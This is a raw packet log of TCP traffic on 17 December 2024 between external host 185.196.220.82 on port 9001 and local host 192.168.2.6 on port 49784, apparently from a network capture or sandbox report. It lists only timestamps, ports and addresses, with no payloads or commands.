Dec 17, 2024 11:49:49.981117964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.981154919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.981208086 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.981627941 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.981664896 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.981684923 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.981705904 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.982336044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.982372046 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.982398987 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.982417107 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.982999086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.983043909 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.983171940 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.983258963 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.983490944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.983541965 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.983831882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.983990908 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.985358000 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.985393047 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.985430002 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.985446930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.985446930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.985466957 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.985487938 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.985502958 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.986259937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.986277103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.986319065 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.986922979 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.987097979 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.987143040 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.987607956 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.987943888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.987994909 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.015695095 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.015892982 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.058738947 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.064888000 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.064935923 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.065038919 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.065067053 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.065201044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.065253973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.065844059 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.065990925 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.066140890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.066165924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.066194057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.066214085 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.066900969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.066919088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.066957951 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.066968918 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.067636013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.067723989 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.067822933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.067893028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.068365097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.068381071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.068438053 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.068521976 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.069340944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.069499016 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.069509029 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.069544077 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.070549011 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.070566893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.070678949 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.071172953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.071291924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.071301937 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.071346045 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.072113037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.072128057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.072170973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.072566986 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.072613001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.072660923 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.072699070 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.073082924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.073134899 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.073148966 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.073267937 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.073889971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.073905945 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.073935986 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.073959112 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.074729919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.074770927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.074775934 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.074994087 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.075481892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.075499058 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.075531006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.075563908 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.076215029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.076277018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.076314926 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.076390028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.076432943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.077075958 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.077091932 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.077126980 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.077145100 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.077846050 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.077863932 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.077914000 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.078598022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.078640938 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.078716993 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.078881979 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.079353094 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.079421997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.079461098 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.079498053 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.080316067 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.080334902 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.080367088 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.080389023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.081278086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.081322908 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.081350088 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.081373930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.081901073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.081978083 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.082145929 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.082181931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.082503080 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.082555056 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.139581919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.139657021 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.139797926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.139843941 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.140029907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.140047073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.140086889 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.140103102 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.140650034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.140716076 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.140896082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.140944958 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.141033888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.141220093 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.141746998 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.141825914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.141825914 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.141911030 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.142581940 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.142638922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.142707109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.142921925 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.143373966 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.143425941 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.143490076 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.143548012 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.144081116 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.144136906 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.144334078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.144376040 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.144819021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.144867897 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.144929886 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.145081997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.145642996 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.145689964 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.145714998 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.145828009 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.146465063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.146512032 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.146591902 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.146632910 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.147183895 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.147228956 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.147233009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.147272110 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.148093939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.148111105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.148143053 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.148174047 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.148888111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.148904085 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.148929119 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.148947001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.149626017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.149676085 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.149760008 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.149816036 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.150383949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.150444984 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.150474072 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.150487900 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.151348114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.151366949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.151417971 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.151451111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.152053118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.169847965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.169923067 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.169924974 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.170002937 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.170129061 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.170171976 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.170306921 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.170460939 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.170952082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.170996904 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.171078920 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.171128988 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.171735048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.171812057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.171933889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.171977997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.172559977 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.172667980 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.172693014 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.172736883 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.173310041 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.173377037 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.173466921 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.173511028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.174138069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.174206972 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.174297094 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.174340963 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.174984932 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.175045013 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.175088882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.175131083 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.176116943 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.176135063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.176172018 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.176187992 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.176743984 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.176762104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.176790953 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.176805019 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.177331924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.177371979 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.177438974 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.177598000 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.178011894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.178055048 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.178179026 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.178224087 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.178817034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.178867102 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.178982019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.179023981 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.179634094 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.192610979 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.192702055 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.201028109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.256970882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.257038116 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.257040977 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.257087946 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.257339954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.257397890 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.257447958 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.257493019 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.258099079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.258166075 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.258205891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.258339882 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.258935928 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.258954048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.259008884 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.259030104 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.259723902 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.259773970 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.259850025 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.259903908 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.260449886 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.260504007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.260621071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.260795116 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.261236906 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.261292934 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.261326075 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.261369944 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.262164116 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.262181044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.262243032 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.262259007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.262859106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.262923956 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.262950897 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.263021946 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.263761997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.263777971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.263842106 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.264414072 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.264462948 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.264509916 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.264555931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.265254021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.265311956 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.265322924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.265364885 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.265985012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.266061068 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.266139030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.266185045 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.266784906 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.266832113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.266844988 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.267129898 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.267672062 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.267684937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.267834902 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.268313885 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.268381119 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.268393993 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.268438101 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.269148111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.269160986 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.269203901 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.269896984 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.269965887 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.269977093 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.270039082 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.270760059 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.270806074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.270823002 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.270838976 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.271459103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.271506071 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.271583080 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.271662951 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.272335052 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.272346020 CET	9001	49784	185.196.220.82	192.168.2.6
